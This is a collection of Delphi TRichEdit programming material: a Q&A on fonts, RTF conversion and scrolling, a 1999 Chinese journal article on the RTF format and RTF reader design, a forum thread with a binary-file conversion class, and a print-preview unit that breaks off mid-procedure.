Q: I can't get wingdings to show up even in design mode!

A: Windings is a "symbol style" true type font. The MS DLL (RICHED32.DLL) that

TRichedit wraps doesn't support the use of symbol style fonts.

UPDATE:

The RTF-Control displays these fonts: format a text with WordPad, save it with

a .rtf extension and load it into your TRichEdit. Borland simply forgot the

CFM_CHARSET flag (it's still undocumented in the Delphi 3 Win32 help file).

Accordingly the Delphi 3 TextAttributes class got a new (documented) CharSet

property.

Try something like this :

procedure TForm1.FormCreate(Sender: TObject);

begin

RichEdit1.Text:='Hello World!'#13#10'Hello World!';

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

with RichEdit1 do

begin

SelStart:=0;

SelLength:=12;

SelAttributes.Name:='Wingdings';

end;

end;

procedure TForm1.Button2Click(Sender: TObject);

var

cf:TCharFormat;

begin

RichEdit1.SelStart:=14;

RichEdit1.SelLength:=12;

fillchar(cf,SizeOf(cf),#0);

with cf do

begin

cbSize:=SizeOf(cf);

dwMask:=CFM_FACE or CFM_CHARSET;

bCharSet:=DEFAULT_CHARSET;

bPitchAndFamily:=VARIABLE_PITCH;

szFacename:='Wingdings';

end;

SendMessage(RichEdit1.Handle, EM_SETCHARFORMAT, SCF_SELECTION, LPARAM(@cf));

end;

=====================

Q: How can I convert an RTF file to a std text file?

A:

Use the tools you've got. Put a TRichEdit on a form, set Visible := false,

adjust Width to avoid word-wrap and execute code similar to the following:

with RichEdit1 do begin

Clear;

PlainText := false;

Lines.LoadFromFile('QandD.Rtf');

PlainText := true;

Lines.SaveToFile('QandD.Txt');

end;

=======================

Q: How can I automatically scroll the text?

RichEdit.SelLength := 0;

currentline := Richedit.Perform(EM_LINEFROMCHAR, Richedit.SelStart, 0 );

Richedit.SelStart := richEdit.perform( EM_LINEINDEX, currentline+1, 0 );

RichEdit.Perform( EM_SCROLLCARET, 0, 0 );

This should move the caret one line down and scroll the control when the caret

moves beyond the bottom edge.

Also, there is this way:

RichEdit1.perform (WM_VSCROLL, SB_BOTTOM, 0)

RichEdit1.perform (WM_VSCROLL, SB_PAGEUP, 0)

====================

q: How do I implement context-sensitive help on words in

a RichEdit box?

A:

well, the main task is to convert the caret position (i assume you are

working in a TMemo or TRichedit) into a line/column postion, get the lineit

is in and isolate the word by searching back- and forwards from the caret

position to find where the word starts and end. The rest is just a call to

Application.helpcommand( HELP_KEY ...);

The key is the first task:

caretRow := Memo1.PerForm(EM_LINEFROMCHAR,Memo1.SelStart,0);

caretCol := Memo1.SelStart-Memo1.Perform(EM_LINEINDEX,caretRow,0);

line := memo1.lines[caretRow];

line[caretCol+1] is the starting position for the search for where the

word starts and ends.

Some tips to help you isolate the word:

in Pascal you can access the individual characters in a string like the

elements of an array (in fact a string is an array, of characters). So you

go about it this way:

Const

wordchars = ['a'..'z','A'..'Z']; { a set of char }

{add other chars that are allowed in a word}

Var

line, theWord: String;

n, wordstart, wordend: Integer;

Begin

line := RichEdit.Lines[currentlineindex];

n := currentcolumnindex+1;

{ column indices are zero based, string indices are 1-based }

if line[n] In wordchars Then Begin

wordstart := n-1;

While (wordstart >0) and (line[wordstart] In wordchars) Do

Dec(wordstart);

{ we moved one position to far back, wordstart is now on the

character before the word starts. Fix that. }

Inc(wordstart);

wordend := n+1;

While( wordend <= Length(line)) and (line[wordend] In wordchars) Do

Inc(wordend);

{ wordend is now one character beyond the end of the word }

theWord := copy(line, wordstart, wordend-wordstart);

End {if}

Else

theWord := EmptyStr;

{ caret was not on a word }

==============

Q: I need to select a bunch of text to send it to the clipboard, but I

don't want to distract the user. How can I do it?

A:

move the focus to another control (see SetFocus) before you select the text in

the RichEdit. The selection is only visible (unless you set the HideSelection

property to false) if the RichEdit has the focus.

Just remember that you need to send the focus to a visual control, not

a form.

==============

Q: I want to copy the richedit codes to a memo box so I can study them.

How can I see these codes, which are normally hidden?

A:

var

MemStream1: TMemoryStream;

begin

{ copy data from RTFEdit control to a std memo }

MemStream1 := TMemoryStream.Create;

RichEdit1.PlainText:=False; { we want the rtf formatting stuff }

RichEdit1.Lines.SaveToStream(MemStream1);

MemStream1.Position := 0;

RichEdit1.PlainText:=False; { we want the rtf formatting stuff }

Memo1.Lines.LoadFromStream(MemStream1);

MemStream1.Free;

end;

WARNING! Although this should work the same way for DBRichEdit, it

doesn't work on Delphi 3's implementation. I haven't tested other

Delphi versions for this bug. On Delphi 3, DBRichEdit can only

write the RTF formatting codes to a data table, not to a stream or

a file. It seems to ignore the PlainText property, and it is always

treated as true.

==============


RTF文件格式分析及在多媒体中的应用

计算机工程

Computer Engineering

1999年　第25卷　第4期　Vol.25　No.4　1999

--------------------------------------------------------------------------------

RTF文件格式分析及在多媒体中的应用

余阳　游燕

摘　要　RTF是一种在不同操作系统下不同应用软件之间进行文本和图象信息交换的文件格式。以RTF格式作为多媒体系统中文本媒体的一种输入形式，可为用户提供极大的方便。简要分析了RTF文件格式并介绍了RTF阅读器（RTF Reader）的编程方法。

关键词　RTF多媒体 文件格式 RTF阅读器

Analyses of Rich Text format and application in Multimedia

YuYang YouYan

（Research Center for Electronical Mechanism,Zhongshan University Guangzhou 510275)

Abstract:Rich Text Format(RTF)provides a format for text and graphics interchange that can be used with different output devices,operating environments,and operating system.This paper analyses the format structure of RTF and introduces the programming of RTF reader.

Key words:RTF;multimedia;File format;RTF reader

    RTF(Rich Text Format)格式是Microsoft公司为进行文本和图象信息格式的交换而制定的一种文件格式，它适用于不同的设备、操作环境和操作系统。自从1987年3月《Microsoft System Journal》发表RTF格式说明书以来，它在MS-DOS、Windows、OS/2和Apple Macintosh等环境下的字处理系统中得到了广泛的支持。目前的版本是1.4。

1 RTF文件格式分析

1.1　RTF格式描述中的基本概念

    RTF文件的基本元素是正文(Text)、控制字(Control word)、控制符号(Control Symbol)和群组(Group)。

    控制字是一种特定格式的命令，RTF用它作为正文格式的控制代码，也作为应用程序管理文档的控制信息。一般形式如下：

    \u23383字符序列<定界符>

    控制字均以反斜杠开头，字符序列是小写字母(RTF对大小写敏感)，定界符标志一个RTF控制字的结束，它是下列形式之一：

    .空格。

    .数字或连字符(-)，它表示后跟数字参数。后续的数字序列以空格或任何非字母数字的字符作为结束。

    .非字母数字的任何其它字符。

    控制符号由反斜杠后跟一个单独的、非字母的字符，表示一个特定的符号。

    群组由包括在大括号({})中的正文和控制字或控制符号组成。每个群组描述了由它修饰的正文和正文的各种属性。

1.2　RTF格式的语法描述

    RTF格式的语法可用backus-Naur范式描述。完整的描述需要大量的篇幅，这里简要分析其中重要的部分。一个完整的RTF文件可看作是一个群组：

    <File>　　　　 '{'<header><document>'}'

    它包括文件头<header>和文档区<document>两大部分。其中文件头具有下面语法：

    <header><charset>?<fonttbl>

    <filetbl>?<colortbl>?<stylesheet>?<revtbl>?

    控制字必须紧跟在左括号后，后跟数字参数表示版本号；<charset>说明文档中使用的字符集；指出省确字体；<fonttbl>群组定义了文档中所有可用的字体，并用来作为整个文档字体的索引；<filetbl>定义了文档参考引用的文件；<colortbl>群组定义了屏幕颜色、字符颜色、以及其它颜色信息；<stylesheet>描述了文档中可以使用的各种字型；<revtbl>这个表格跟踪记录该文档每一次修订的作者和时间。一旦RTF定义了文件头，就有了足够的的信息去正确阅读文档区。

    文档区遵守下面的语法：

    <document><info>?<docfmt>*<section>+

    信息群组<info>包含了有关该文档的信息。这些信息包括标题、作者、关键字、批注以及其它有关该文件的特有信息。<docfmt>是一组定义该文档格式属性的控制字，如：页边空白、脚注位置、页高页宽等，这些属性必须在文档中第一个纯正文字符之前出现。接下来的部分由一个或多个节构成，每个节具有下面的语法：

    <section> <secfmt>*<hdrftr>?<para>+(

<section>)?

    关键字

标志着一个新节的开始。<secfmt>是一系列的节格式属性控制字，它们也可出现在节的任何位置(不仅仅是开头)，每一节都可定义它本身的页信息(宽、高、空白等)、页号格式等；<hdrftr>单元设定页眉和页脚；<para>是段落群组，每一节的内容由一个或多个段落组成。

    段落有简单型和表格型两种，关键字

标志着一个新段落的开始。在一个段落里，可以定义段落的格式属性，如：对齐方式、缩排、间隔、段落边界、底纹等。文档的实际内容也出现在段落中，这包括字符正文、图片、OLE嵌入对象等等。每一种实质内容都可定义其格式属性，如：对于字符正文，我们可以定义粗体、斜体、下划线、底纹、背景色、字符色等。

    总之，我们可以看到，RTF格式描述除了文件头外，其它内容的描述呈层次结构：

文档→节→段落→对象(正文、图片、OLE对象等)

    前者包含后者，前3层主要是定义各种格式属性，对象层除了描述具体对象的属性外，出现了对象的实质内容。

2　RTF阅读器的编程方法

    要在自己的多媒体系统中支持RTF格式的文档，就必须自己编写相应的RTF阅读器程序。一个RTF阅读器的开发必定要包含以下3个基本步骤。

  (1)分离RTF控制字与正文

    RTF控制字与正文的分离比较简单。因所有的RTF控制字都以反斜杠开始，并以定界符结束(上一节已说明)，所以，很容易将其与正文内容分开。下面是该算法的形式描述：

    while(没有到达文件尾){

    ch<- 从文件读取一个字符；

    switch(ch){

      case'{'：

          保存RTF状态(文档属性、节属性、段落属性、字符属性、程序分析中间状态等)；

          break；

      case'}'：

          恢复RTF状态；

          break ；

      case'：

          RTF 控制字语法分析

          break；

      case回车、换行：

          break；

      default：

          if(ch是西文)

            输出ch；

          else

            等下一个ch共同组成汉字，输出；

      }；//switch结束

    }；//while结束

        return;

  (2)RTF控制字语法分析

    这一步也相当简单。一个RTF控制字要么是小写字母的字符串(后可跟数字参数)，要么是一个非字母数字的字符。下面是该算法的形式描述：

    ch<-从文件读取一个字符；

    if(到达文件尾)return；

    if(ch是非字母数字){

      控制字语义翻译；

      return;

    };

    keyword<- 读取关键字；

    if(后续字符是'-')

      表示负数；

    if(后续字符是数字)

      Parameter<-读取数字参数；

    控制字语义翻译；

    return

    (3)控制字语义翻译

    语义翻译是相当复杂的一步。这不仅仅是由于控制字数量繁多、含义类型各异，还由于 RTF 在描述不同但相关的属性时在顺序上是模糊的，这就要求语法分析和语义翻译必须灵活准确。无论采用什么方法，语义翻译应与前两个步骤相互配合，做到以下3点：

    1)忽略你不准备翻译的控制字

    如果不处理好该问题，则RTF阅读器遇到不"懂"的控制字就很易崩溃。事实上，要面面俱到地翻译全部控制字是很困难的，对于具体应用也是不必要的。Microsoft也在不断增加新的控制字，正确的忽略可以使阅读器兼容于不同程序产生的RTF文档，也可兼容于RTF以后发展的版本。

    2)永远要理解控制字

    该控制字引入了一个目标单元，它不属于文档的一部分，它告诉RTF阅读器：如果它不识别下一个控制字，它应该跳过整个封闭的群组({…})。

    3)跳过忽略的RTF字符时要注意二进制数据的出现

    在RTF中跳过一个群组的简单方法是保持一个动态计数器，以记录RTF流中遇到的大括号：遇到"{"时，计数器加1；遇到"}"时，计数器减1，计数器为负时，表明到了群组的结尾。不幸的是，当RTF文件包含控制字时，这种方法就无效了。阅读器必须检查每一个遇到的控制字是否是，若是，先要跳过它说明的所有字节(我们目前不准备支持二进制图片数据)，然后才能恢复扫描大括号。

    这里我们简单介绍一种"表格驱动"的翻译方法：首先，建立一个控制字描述表和一个属性描述表。前者将控制字翻译为属性索引，并得到该属性的省缺值、控制字类型(属性、特殊字符、目标单元、等)等信息。然后通过属性索引在属性描述表中查到属性所在的结构以及在结构中的偏移量、属性值的类型(字节、字、需特殊处理)等。有了这些信息，程序就能正确翻译控制字并将它的值存到指定结构的指定位置。

    以上3个基本步骤完成后，我们已经将正文与控制分离开，并能用一定的结构跟踪记录不断变化的各种属性。在网址：http://www.Sunpack.com/RTF/Webdocs/RTF-Spec/RTF1-4.htm处，你可以从附录A得到实现这3步的示意性C程序。我们已经对这部分程序进行了更正(有部分小错误) 、扩充和改进：①使其支持更多的控制字和语法，支持中文；②扩充了各种排版算法，完成了另一个重要步骤：根据属性将正文排版输出；③用C++中类的概念封装了该解释器，更便于使用和进一步扩充；④将该解释器并入我们开发的"图文特技软件包"，进而用于我们的多媒体产品。

作者简介：余阳　男，31岁，工程师，主研多媒体，网络技术

作者单位：中山大学电子机械研究中心 广州510275

参考文献

  1　Microsoft Product Support Services,Rich Text Format(RTF)Specification and Sample RTF Reader Program,http://www.Sunpack.com/RTF/Webdocs/RTF-Spec/RTF1-4.htm

  2　HellerM著.朱鸿隽译.Windows高级程序设计,北京：电子工业出版社，1994-11

  3　姚玉明，胡晓峰 . 超媒体系统中文本媒体的处理方法及表现.全国第四届多媒体技术学术会议论文集：198-202

收稿日期:1998-02-23


Richedit的扩展

Richedit的扩展

lpa(lpa)

我通过Richedit.RegisterConversionFormat(const AExtension: string; AConversionClass: TConversionClass);方法注册了若干种格式的二进制文件，

每种格式（AConversionClass1、AConversionClass2、。。。）都重载了

ConvertReadstream、ConvertWritestream函数，这样就可以通过Richedit.Lines.LoadFromFile来实现对这些文件的编辑了。问题是，假如我打开了第一种格式的文件（这时Richedit.Lines.LoadFromFile时调用的是AConversionClass1的ConvertReadstream函数），再打开第二种格式的文件，这时Richedit.Lines.LoadFromFile时调用的就应该是AConversionClass2的ConvertReadstream函数了，但实际上还是调用AConversionClass1的ConvertReadstream函数，而不管先打开的文件有没有存盘（Richedit.Lines.SaveToFile）。需要声明：第一次打开文件时，不管是哪种格式（已经注册过的几种之一），都能正确地按照我重载的ConvertReadstream那样以文本形式显示该种格式文件。打开另一个文件时，只要格式与第一次打开的文件格式相同，也没有问题。但是格式不同就会出错。

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, ComCtrls;

type

Teq2 = record

EQYear: smallint;

EQMonth, EQDay: Byte;

EQHour, EQMinute: Byte;

EQLatitude: smallint;

EQLongtitude: smallint;

Ms, EQSecond: Byte;

EQDepth: smallint;

EQSerial: smallint;

end; //以上是你的二进制格式文件的格式，并且这些文件都有扩展名*.eq2

type

TEQ2Conversion = class(TConversion)

public

function ConvertReadStream(Stream: TStream; Buffer: PChar;

BufSize: integer): integer; override;

function ConvertWriteStream(Stream: TStream; Buffer: PChar;

BufSize: integer): integer; override;

end;

type

TForm1 = class(TForm)

RichEdit1: TRichEdit;

Button1: TButton;

OpenDialog1: TOpenDialog;

Button2: TButton;

procedure FormCreate(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.dfm}

function TEQ2Conversion.ConvertReadStream(Stream: TStream; Buffer: PChar; BufSize: integer): integer;

var s: string;

buf: array[1..16] of char;

n: integer;

begin

Result := 0;

if BufSize = 0 then Exit;

s := '';

n := Stream.Read(buf, 16);

if n = 0 then Exit;

if ((Ord(buf[2])) shr 7) = 1 then

AppendStr(s, StringOfChar(' ', 4 - length(IntToStr(((ord(buf[2])) shl 8) + ord(buf[1]) - 65536))) + IntToStr(((ord(buf[2])) shl 8) + ord(buf[1]) - 65536) + ',')

else

AppendStr(s, StringOfChar(' ', 4 - length(IntToStr(((ord(buf[2])) shl 8) + ord(buf[1])))) + IntToStr(((ord(buf[2])) shl 8) + ord(buf[1])) + ',');

//((ord(buf[2])) SHL 8)+ord(buf[1]))为年的值:第二个字节的值乘以256加上第一个字节的值

if length(IntToStr(ord(buf[3]))) = 2 then

AppendStr(s, IntToStr(ord(buf[3])) + ',')

else AppendStr(s, '0' + IntToStr(ord(buf[3])) + ',');

//ord(buf[3])为月的值:第三个字节的值

if length(IntToStr(ord(buf[4]))) = 2 then

AppendStr(s, IntToStr(ord(buf[4])) + ',')

else AppendStr(s, '0' + IntToStr(ord(buf[4])) + ',');

//ord(buf[4])为日的值:第四个字节的值

if Length(IntToStr(ord(buf[5]))) = 2 then AppendStr(s, IntToStr(ord(buf[5])) + ',')

else AppendStr(s, '0' + IntToStr(ord(buf[5])) + ',');

//ord(buf[5])为时的值:第五个字节的值

if length(IntToStr(ord(buf[6]))) = 2 then

AppendStr(s, IntToStr(ord(buf[6])) + ',')

else AppendStr(s, '0' + IntToStr(ord(buf[6])) + ',');

//ord(buf[6])为分的值:第六个字节的值

if length(IntToStr(ord(buf[12]))) = 2 then

AppendStr(s, IntToStr(ord(buf[12])) + ',')

else AppendStr(s, '0' + IntToStr(ord(buf[12])) + ',');

//ord(buf[12])为秒的值:第十二个字节的值

AppendStr(s, StringOfChar(' ', 7 - length(FloatToStr((((ord(buf[10])) shl 8) + (ord(buf[9]))) / 100))) + FloatToStr((((ord(buf[10])) shl 8) + (ord(buf[9]))) / 100) + ',');

//(((ord(buf[10])) SHL 8)+ord(buf[9]))/100为经度的值:第十个字节的值乘以256加上第九个字节的值

AppendStr(s, StringOfChar(' ', 6 - length(FloatToStr((((ord(buf[8])) shl 8) + ord(buf[7])) / 100))) + FloatToStr((((ord(buf[8])) shl 8) + (ord(buf[7]))) / 100) + ',');

//(((ord(buf[8])) SHL 8)+ord(buf[7]))/100为纬度的值:第八个字节的值乘以256加上第七个字节的值

AppendStr(s, StringOfChar(' ', 3 - length(FloatToStr((ord(buf[11])) / 10))) + FloatToStr((ord(buf[11])) / 10) + ',');

//(ord(buf[11]))/10为震级的值:第十一个字节的值除以10

if (((ord(buf[14])) shl 8) + ord(buf[13])) > 999 then AppendStr(s, '---,')

else

AppendStr(s, StringOfChar(' ', 3 - length(IntToStr(((ord(buf[14])) shl 8) + ord(buf[13])))) + IntToStr(((ord(buf[14])) shl 8) + ord(buf[13])) + ',');

//((ord(buf[14])) SHL 8)+ord(buf[13]))为深度的值:第十四个字节的值乘以256加上第十三个字节的值

AppendStr(s, StringOfChar(' ', 3 - length(IntToStr(((ord(buf[16])) shl 8) + ord(buf[15])))) + IntToStr(((ord(buf[16])) shl 8) + ord(buf[15])));

//((ord(buf[16])) SHL 8)+ord(buf[15]))为序列号的值:第十六个字节的值乘以256加上第十五个字节的值

AppendStr(s, #13#10);

StrPCopy(Buffer, s);

Result := length(s);

end;

const TwoPower8 = 256;

function TEQ2Conversion.ConvertWriteStream(Stream: TStream; Buffer: PChar;

BufSize: integer): integer;

var s: string;

n, code: integer;

EQ2Rec: TEQ2;

begin

Result := 0;

if BufSize = 0 then Exit;

s := '';

with EQ2Rec do

begin

SetLength(s, 4);

for n := 1 to 4 do s[n] := buffer[n - 1];

Val(s, EQYear, code);

SetLength(s, 2);

for n := 1 to 2 do s[n] := buffer[n + 4];

Val(s, EQMonth, code);

for n := 1 to 2 do s[n] := buffer[n + 7];

Val(s, EQDay, code);

for n := 1 to 2 do s[n] := buffer[n + 10];

Val(s, EQHour, code);

for n := 1 to 2 do s[n] := buffer[n + 13];

Val(s, EQMinute, code);

SetLength(s, 2);

for n := 1 to 2 do s[n] := buffer[n + 16];

Val(s, EQSecond, code);

SetLength(s, 7);

for n := 1 to 7 do s[n] := buffer[n + 19];

case pos('.', s) of

0:

begin

Val(s, EQLongtitude, code);

EQLongtitude := EQLongtitude * 100;

end;

6:

begin

delete(s, 6, 1);

Val(s, EQLongtitude, code);

EQLongtitude := EQLongtitude * 10;

end;

5:

begin

n := 7;

if s[n] = ' ' then s[n] := '0';

delete(s, 5, 1);

Val(s, EQLongtitude, code);

end;

else

begin

delete(s, pos('.', s) + 3, 7 - pos('.', s) - 2);

if s[pos('.', s) + 2] = ' ' then s[pos('.', s) + 2] := '0';

delete(s, pos('.', s), 1);

Val(s, EQLongtitude, code);

end;

end;

SetLength(s, 6);

for n := 1 to 6 do s[n] := buffer[n + 27];

case pos('.', s) of

0:

begin

Val(s, EQLatitude, code);

EQLatitude := EQLatitude * 100;

end;

5:

begin

delete(s, 5, 1);

Val(s, EQLatitude, code);

EQLatitude := EQLatitude * 10;

end;

4:

begin

n := 6;

if s[n] = ' ' then s[n] := '0';

delete(s, 4, 1);

Val(s, EQLatitude, code);

end

else

begin

delete(s, pos('.', s) + 3, 6 - pos('.', s) - 2);

if s[pos('.', s) + 2] = ' ' then s[pos('.', s) + 2] := '0';

delete(s, pos('.', s), 1);

Val(s, EQLatitude, code);

end;

end;

SetLength(s, 3);

for n := 1 to 3 do s[n] := buffer[n + 34];

case pos('.', s) of

0:

begin

Val(s, Ms, code);

Ms := Ms * 10;

end;

1:

begin

delete(s, 3, 1);

delete(s, 1, 1);

Val(s, Ms, code);

end;

2:

begin

delete(s, 2, 1);

Val(s, Ms, code);

end;

end;

SetLength(s, 3);

for n := 1 to 3 do s[n] := buffer[n + 38];

Val(s, EQDepth, code);

for n := 1 to 3 do s[n] := buffer[n + 42];

Val(s, EQSerial, code);

SetLength(s, 48);

s := '';

AppendStr(s, chr(Byte(EQYear and (TwoPower8 - 1))));

AppendStr(s, chr(Byte(EQYear shr 8)));

AppendStr(s, chr(EQMonth));

AppendStr(s, chr(EQDay));

AppendStr(s, chr(EQHour));

AppendStr(s, chr(EQMinute));

AppendStr(s, chr(Byte(EQLatitude and (TwoPower8 - 1))));

AppendStr(s, chr(Byte(EQLatitude shr 8)));

AppendStr(s, chr(Byte(EQLongtitude and (TwoPower8 - 1))));

AppendStr(s, chr(Byte(EQLongtitude shr 8)));

AppendStr(s, chr(Ms));

AppendStr(s, chr(EQSecond));

AppendStr(s, chr(Byte(EQDepth and (TwoPower8 - 1))));

AppendStr(s, chr(Byte(EQDepth shr 8)));

AppendStr(s, chr(Byte(EQSerial and (TwoPower8 - 1))));

AppendStr(s, chr(Byte(EQSerial shr 8)));

end;

n := Stream.Write(PChar(s)^, length(s));

if n = 0 then exit;

Result := 48;

end;

procedure TForm1.FormCreate(Sender: TObject);

var Current_Language: TLanguages;

begin

OpenDialog1.InitialDir := Application.ExeName;

//下面一句注册你的文件格式

Richedit1.RegisterConversionFormat('EQ2', TEQ2Conversion);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

if OpenDialog1.Execute then

begin

if FileExists(OpenDialog1.FileName) then

begin

Caption := OpenDialog1.FileName;

RichEdit1.Lines.LoadFromFile(OpenDialog1.FileName);

end

else ShowMessage('文件：' + OpenDialog1.FileName + '未找到！');

RichEdit1.Modified := False;

end;

RichEdit1.SetFocus;

end;

end.

如果你打开*.eq2文件，就会调用TEQ2Converssion的ConvertReadStream将二进制格式转化为你希望的文本格式显示在Richedit1，否则就默认为文本文件直接将文件内容显示在Richedit1；同理，RichEdit1.SaveToFile时也会根据文件名来处理，如果扩展名为*.eq2则先调用TEQ2Converssion的ConvertWriteStream将你的文本格式转化为二进制格式再存盘，否则直接存盘。


RichEdit的Preview

show a preview for a TRichEdit/ TRxRichEdit?

Author: Robert Dunn ,http://home.att.net/~robertdunn/Yacs.html

unit RichEditPreview;

interface

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ExtCtrls, Printers, RichEdit, Menus, ComCtrls, ToolWin;

type

TPageOffset = record

mStart, mEnd: Integer;

rendRect: TRect;

end;

TPreviewForm = class(TForm)

Panel1: TPanel;

Panel2: TPanel;

procedure FormCreate(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure FormResize(Sender: TObject);

private

{ Private-Deklarationen }

public

{ Public-Deklarationen }

PreviewPanel: TPanel;

procedure DrawRichEdit;

end;

TPreviewPanel = class(TPanel)

private

public

constructor Create(Owner: TComponent); override;

destructor Destroy; override;

procedure Paint; override;

property Canvas;

end;

var

PreviewForm: TPreviewForm;

implementation

uses Unit1, RxRichEd;

{$R *.dfm}

procedure TPreviewForm.FormCreate(Sender: TObject);

begin

PreviewPanel := TPreviewPanel.Create(Self);

PreviewPanel.Parent := Self;

PreviewPanel.Color := clWhite;

end;

procedure TPreviewForm.FormDestroy(Sender: TObject);

begin

if PreviewPanel <> nil then PreviewPanel.Free

end;

// We want the TPreviewPanel to approximate the scaled dimensions of the printed page.

// Whenever the parent

// form is resized, we need to rescale and center the panel on the form.

// To do this, add an OnResize event to

// the form and add the following code:

procedure TPreviewForm.FormResize(Sender: TObject);

var

wPage, hPage, wClient, hClient: integer;

begin

// get the printer dimensions

wPage := GetDeviceCaps(Printer.Handle, PHYSICALWIDTH);

hPage := GetDeviceCaps(Printer.Handle, PHYSICALHEIGHT);

// get the client window dimensions.

hClient := Panel2.ClientHeight;

// initially adjust width to match height

wClient := MulDiv(Panel2.ClientHeight, wPage, hPage);

// if that doesn't fit, then do it the other way

if wClient > Panel2.ClientWidth then

begin

wCLient := Panel2.ClientWidth;

hClient := MulDiv(Panel2.ClientWidth, hPage, wPage);

// center the page in the window

PreviewPanel.Top := ((Panel2.ClientHeight - hClient) div 2) - Panel1.Height;

end

else

begin

// center the page in the window

PreviewPanel.Left := (Panel2.ClientWidth - wClient) div 2;

PreviewPanel.Top := Panel1.Height;

end;

// now set size of panel

PreviewPanel.Width := wClient;

PreviewPanel.Height := hClient

end;

// The DrawRichEdit() method renders the contents of

// the control on the preview panel.

// Much of the code is

// very close to the code used to print the control in Part 2.

// The first part of the method is identical to

// the printing code:

procedure TPreviewForm.DrawRichEdit;

var

wPage, hPage, xPPI, yPPI, wTwips, hTwips, currPage: integer;

pageRect, rendRect, frameRect: TRect;

po: TPageOffset;

fr: TFormatRange;

lastOffset, xOffset, yOffset, xPrinterOffset, yPrinterOffset: integer;

FPageOffsets: array of TPageOffset;

TextLenEx: TGetTextLengthEx;

hdcDesktop, hdcCanvas, hdcPrinter, xDesktopPPI, yDesktopPPI,

xFactor, yFactor: integer;

begin

wPage := GetDeviceCaps(Printer.Handle, PHYSICALWIDTH);

hPage := GetDeviceCaps(Printer.Handle, PHYSICALHEIGHT);

xPPI := GetDeviceCaps(Printer.Handle, LOGPIXELSX);

yPPI := GetDeviceCaps(Printer.Handle, LOGPIXELSY);

wTwips := MulDiv(wPage, 1440, xPPI);

hTwips := MulDiv(hPage, 1440, yPPI);

with pageRect do

begin

Left := 0;

Top := 0;

Right := wTwips;

Bottom := hTwips

end;

with rendRect do

begin

Left := 0;

Top := 0;

Right := pageRect.Right - (1440 * 4);

Bottom := pageRect.Bottom - (1440 * 4)

end;

po.mStart := 0;

// We will be using several device contexts (DCs),

// so let's go ahead and create variables for them.

hdcDesktop := GetWindowDC(GetDesktopWindow);

hdcCanvas := TPreviewPanel(PreviewPanel).Canvas.Handle;

hdcPrinter := Printer.Handle;

// Next, define and initialize a FORMATRANGE structure.

fr.hdc := hdcDesktop;

fr.hdcTarget := hdcPrinter;

fr.chrg.cpMin := po.mStart;

fr.chrg.cpMax := -1;

// We will need the size of the text in the control.

if RichEditVersion >= 2 then

begin

with TextLenEx do

begin

flags := GTL_DEFAULT;

codepage := CP_ACP;

end;

lastOffset := SendMessage(Form1.Editor.Handle, EM_GETTEXTLENGTHEX,

wParam(@TextLenEx), 0)

end

else

lastOffset := SendMessage(Form1.Editor.Handle, WM_GETTEXTLENGTH, 0, 0);

// Clear the control's formatting buffer before rendering.

SendMessage(Form1.Editor.Handle, EM_FORMATRANGE, 0, 0);

// Here is the tricky part.

// We need to scale the rendering DC to match the size of the printed page in

// printer device units.

SaveDC(hdcCanvas);

SetMapMode(hdcCanvas, MM_TEXT);

SetMapMode(hdcCanvas, MM_ANISOTROPIC);

SetMapMode(hdcPrinter, MM_TEXT);

SetWindowExtEx(hdcCanvas, pageRect.Right, pageRect.Bottom, nil);

xDesktopPPI := GetDeviceCaps(hdcDesktop, LOGPIXELSX);

yDesktopPPI := GetDeviceCaps(hdcDesktop, LOGPIXELSY);

ScaleWindowExtEx(hdcCanvas, xDesktopPPI, 1440, yDesktopPPI, 1440, nil);

SetViewportExtEx(hdcCanvas, PreviewPanel.ClientWidth, PreviewPanel.ClientHeight, nil);

// Apparently, the Rich Edit control reduces the width of the

// rendering area by the amount of the left

// offset to the printable portion of the page when printing.

// This is a little odd to me because none of

// the Windows API GDI functions care whether you are printing

// within the printable portion of the page.

// Further, this occurs even though the rendering rectangle is

// already within the printable portion of the

// page. Anyway, this does not seem to happen when the rendering

// DC is the screen so we need to manually

// adjust the rectangle ourselves.

xPrinterOffset := MulDiv(GetDeviceCaps(hdcPrinter, PHYSICALOFFSETX), 1440, xPPI);

yPrinterOffset := MulDiv(GetDeviceCaps(hdcPrinter, PHYSICALOFFSETY), 1440, yPPI);

rendRect.Left := rendRect.Left + (xPrinterOffset shr 1);

rendRect.Right := rendRect.Right - xPrinterOffset - (xPrinterOFfset shr 1);

rendRect.Top := rendRect.Top + (yPrinterOffset shr 1);

rendRect.Bottom := rendRect.Bottom - yPrinterOffset - (yPrinterOFfset shr 1);

// Remember that we are hardcoding two-inch margins.

xOffset := MulDiv(PreviewPanel.ClientWidth shl 1, 1440, pageRect.Right);

yOffset := MulDiv(PreviewPanel.ClientHeight shl 1, 1440, pageRect.Bottom);

SetViewportOrgEx(hdcCanvas, xOffset, yOffset, nil);

// Now we build the table of offsets.

// Note that we save the rendering rectangle returned by the format

// call. When the rendering and target devices are the same

// (or the target device is set to zero), the

// returned rectangle is not really needed.

// In that case, you can simply ask the control to print to the

// original rendering rectangle. However, when the devices are different,

// the returned rendering rectangle

// is sometimes larger than the requested rectangle.

// This must be a bug in the Rich Edit control. We deal

// with it by saving the returned value to use when

// we actually render the control to the screen.

while ((fr.chrg.cpMin <> -1) and (fr.chrg.cpMin < lastOffset)) do

begin

fr.rc := rendRect;

fr.rcPage := pageRect;

po.mStart := fr.chrg.cpMin;

fr.chrg.cpMin := SendMessage(Form1.Editor.Handle, EM_FORMATRANGE, 0, Longint(@fr));

po.mEnd := fr.chrg.cpMin - 1;

po.rendRect := fr.rc;

if High(FPageOffsets) = -1 then SetLength(FPageOffsets, 1)

else

SetLength(FPageOffsets, Length(FPageOffsets) + 1);

FPageOffsets[High(FPageOffsets)] := po

end;

// If we were writing a fully working preview function,

// we could use FPageOffsets.size() to determine how

// many pages had been formatted.

// We would then set currPage (below) to the page that we wanted to

// display.

// In this example, however, we are going to display only the first page.

currPage := 0;

// Now we set the rendering device to the panel's canvas.

// Since we have not cleared the formatting buffer,

// the target device is not needed, so we set it to zero.

// Then we fill in the remaining parts of the

// FORMATRANGE structure with the values we saved in FPageOffsets.

// Finally, we render the text to the

